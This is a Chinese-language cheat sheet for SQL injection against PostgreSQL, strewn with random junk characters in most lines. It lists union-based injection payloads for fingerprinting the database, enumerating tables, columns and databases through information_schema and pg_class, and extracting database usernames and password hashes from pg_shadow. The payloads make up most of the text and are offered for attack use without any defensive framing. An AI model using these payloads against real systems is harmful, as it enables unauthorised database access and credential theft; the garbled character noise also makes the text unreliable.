结合了MSSQL MySQL Oracle的一些特点* L1 _" z! d3 E5 E4 t, I' [
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/9 X9 D* Z- c* ^# B6 ^: C6 }
连接符: %20 , + , /**/ 内置函数:
9 d/ u: n8 ]; Y4 p8 D* ycurrent_database() //当前数据库名
- n7 {" o; i0 F. I4 t- Msession_user //会话用户. y. _+ w9 |0 B
current_user //当前数据库用户# q8 f; o7 o9 J5 X6 j% V( x- Y
user //当前用户' Z+ ~* a1 l) ~8 d5 K
version() //数据库版本 Union注射:! I h9 w# k) _- m
order by n–
# ~& k; K2 {6 z5 d, Rand 1=2 union select null,null,null–& b4 `8 W3 I$ w8 e* m2 M9 T4 s
and 1=2 union select ‘beach’,null,null–# }: c+ p% t* D5 w( L7 K+ [
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
8 q3 ]) t$ n$ Hgroup_concat(table_name)
/ F$ w" \0 `, i; r- @; ?and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–" ]" F' j8 T! T" [3 r
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–0 ~7 j: F% ?- e
(老版本)
* h+ l! q" t3 z% z/ I, zpg_class.oid对应pg_attribute.attrelid8 D% D, z0 P8 `+ S6 R
pg_class.relname表名5 ^6 i! E2 m0 B) {7 j0 e
pg_attribute.attname字段名 select relname from pg_class获取表名4 g) @& B: g/ A) ]
select oid from pg_class where 条件 获取参数
: `! U# F# E2 X. Z4 r' B$ x8 A& I1 |select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:1 ?. M; S5 ^; G4 ^4 l5 Z9 w
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表: L. `- \+ M- \7 n$ X3 \2 v1 j
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
% v5 c9 p# ?, X5 ~* j! G+ |由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名$ M; w: X {! {
======================================================================
8 h) ]4 J- L/ [! }" Nand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
: i8 b& B! Q1 {6 y6 xand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |